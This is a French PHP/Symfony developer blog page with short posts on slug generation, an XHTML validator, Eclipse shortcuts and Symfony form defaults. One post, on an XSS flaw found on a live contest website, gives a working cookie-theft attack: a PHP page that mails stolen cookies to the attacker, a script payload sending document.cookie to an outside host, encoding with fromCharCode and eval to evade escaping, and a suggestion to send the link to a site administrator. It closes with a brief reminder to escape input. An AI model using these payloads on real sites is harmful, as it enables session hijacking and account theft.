[phpsymfony.com] - Blog par un programmeur pour les programmeurs

Aller au contenu | Aller au menu | Aller à la recherche

jeudi, janvier 7 2010

Symfony - Slugify

Dans le tutoriel Jobeet, une fonction permet de créer un slug est proposée.
Cependant, avec Doctrine, une telle méthode existe déjà :

Doctrine_inflector::urlize($string);


vendredi, décembre 25 2009

Sécurité - Faille XSS

Aujourd'hui, j'ai reçu un mail d'un célèbre site (dont je tairais le nom) m'informant d'un concours permettant de gagner un ordinateur portable.

Intéressé, je clic sur le lien et je ne pensais pas trouver là un si bel exemple de faille XSS.

Je m'explique : L'url avait la structure suivante : http://site.com?email=mon-email@gmail.com&nom=&prenom=

Il ne m'a pas fallu longtemps a mettre en évidence une faille XSS (présente sur chaque champ du formulaire !).  Exemple :

http://site.com?email=mon-email@gmail.com&nom="<script>alert(document.cookie)</script>&prenom=

Quelle surprise ! Une petite fenêtre JS qui apparait !

Elle affiche les cookies du site. Cette information n'est pas très intéressante... Mais, que diriez-vous d'avoir ceux d'un administrateur ? Il y aura peut-être des informations bien plus intéressantes...

Mais comment les obtenir ? Voila l'astuce :

Sur un de vos site web, créez une nouvelle page avec juste le code suivant :

<?php
//sur votre site perso
mail('mon-email@gmail.com', '[SITE] Cookies info', $_GET['cookie']);
header('Location: http://site.com?email=mon-email@gmail.com&nom=xxx&prenom=xxx');
?>


Le code précédent va envoyer sur votre adresse mail le contenu de la variable $_GET['cookie']. Puis, il va rediriger l'utilisateur vers le site avec le concours de manière transparente.

Ensuite, remplacez le script dans l'url par celui-ci :

<script>window.location.replace('http://siteperso.com/mapage.php?cookie=' + document.cookie)</script>

Ce qui vous donne :

http://site.com?email=mon-email@gmail.com&nom="<script>window.location.replace('http://siteperso.com/mapage.php?cookie=' + document.cookie)</script>

&prenom=

Ainsi, lorsqu'un utilisateur accède a cette url, il est automatiquement redirigé vers votre site perso et ses cookies sont envoyés sur votre boîte mail !
Il ne vous reste plus qu'à envoyer le lien à un admin du site :)

Un dernier point : les quotes sont échappées, ce qui empêche votre script de fonctionner dans l'url...

Pas de panique, il y a une solution ! Il suffit d'utiliser eval et fromCharCode. Comment ?

Prenez le contenu entre balises <script> et convertissez chaque caractère en code ASCII. Voici le code PHP :

<?php
$output = 'eval(String.fromCharCode(';
$tab = str_split($string);

foreach($tab as $letter)
{
 $output .= ord($letter) . ', ';
}
$output = trim($output, ', ');
$output .= '))';
echo $output;
?>


Vous aurez alors une url du type :

http://www.site.com/?email=mon-@gmail.com&nom="<script>eval(String.fromCharCode(119, 105, [...],  101, 41, 59))</script>&prenom=

La fonction eval va alors interpréter le retour de fromCharCode, ce qui permet de passer outre les addslashes.

Je vous ai donc montré dans cet article comment exploiter un type de faille XSS. Pensez donc toujours bien à echapper les variables que vous récupérez : Ne faites JAMAIS confiance à des données provenant de tiers.

lundi, décembre 21 2009

PHP - Votre site est-il valide XHTML ?

Dans le cadre de mes développements, j'ai été amené à vérifier assez souvent que les pages générées étaient valides XHTML.
C'est une opération assez fastidieuse, d'autant que le site n'était pas accessible de l'extérieur... donc il fallait tester page par page.

J'ai donc écrit une petite classe qui a évolué au fil du temps. On lui passe la homepage du site et il suit les liens (absolus et relatifs). Il ne remplis pas (encore) les formulaires.
Je me doute qu'il reste des choses à ajouter, et je continuerai de la faire évoluer.

Edit du 14/01/2010

A la suite d'une demande, il est possible de vérifier les erreurs 404 et les erreurs 500. Consultez le fichier pour plus d'informations.

Télécharger le fichier




Eclipse - raccourcis clavier

Connaissez-vous le livre "The Pragmatic Programmer" de Andy Hunt et Dave Thomas ?
Ce bouquin est une petite pépite. Il est bourré de très bons conseils et j'adhère à leur philosophie. Je ne peux que le recommander.

Ils traitent d'un point important concernant les éditeurs. En effet, il est très important de bien le maîtriser, cela vous permettra de gagner en productivité.
Pour ma part, j'utilise Eclipse, et je me suis posé la question de savoir si j'utilisais toutes les capacités de l'éditeur.

La combinaison des touches ctrl + shift + l permet d'afficher la liste des raccourcis claviers Eclipse ;)


 

Symfony - Valeurs par défaut dans un formulaire

Lorsque j'ai débuté avec Symfony 1.2, j'ai été bluffé par le framework de formulaires. Ayant eu une expérience principalement sur symfony 1.0, il a donc fallu une petite période d'adaptation...
En tout cas, une des première problématique que j'ai rencontré était de mettre des valeurs par défaut dans une classe formulaire.

Pour ce faire, il faut utiliser la méthode setDefault(s).

$this->setDefaults(array(
  'colonne1' => 'valeur1',
  //...
);



Dans le cas d'un formulaire objet, on peut remplir le formulaire en fonction des données existantes en base.
On surcharge la méthode updateDefaultsFromObject() de la classe formulaire.

Utiliser :

$this->object->setXXX() ; //ou XXX est une propriété de l'objet



L’utilisation de $this->isNew() est très pratique, on peut ainsi savoir s'il s'agit d'une création ou d'une édition.

Attention : ne pas oublier l’appel au parent : parent::updateDefaultsFromObject()

Je posterai un exemple pour une meilleure compréhension.

Yet Another Technical Blog

Bienvenue sur mon blog phpsymfony.com !

Je me présente, je m'appelle Guillaume Bretou, ingénieur en informatique de Polytech Paris sud (ex-IFIPS pour ceux qui connaissent) et je travaille actuellement pour Sensio Labs. Le nom de Sensio Labs vous dit quelque chose ? Effectivement, c'est la boite qui a créé le framework symfony, avec lequel je travaille depuis plus de 2 ans maintenant. Comme vous pouvez vous en douter de par le nom de domaine phpsymfony.com, ce site parlerai particulièrement de PHP et de symfony :) Je montrerai les petites astuces que j'ai trouvé pendant ma phase d'apprentissage du framework, les bonnes pratiques mais aussi les problématiques sur lesquelles j'ai buché et (bien sûr) leur solution ! Mais je ne me limiterai pas uniquement à ces deux technos, je suis très curieux de Java (que j'ai pratiqué à l'école), et je voudrais bien étudier RoR aussi...

Bref, Yet Another Technical Blog qui je l'espère, pourra vous aider :)

Bonne lecture à tous.

Guillaume B.

page 2 de 2 -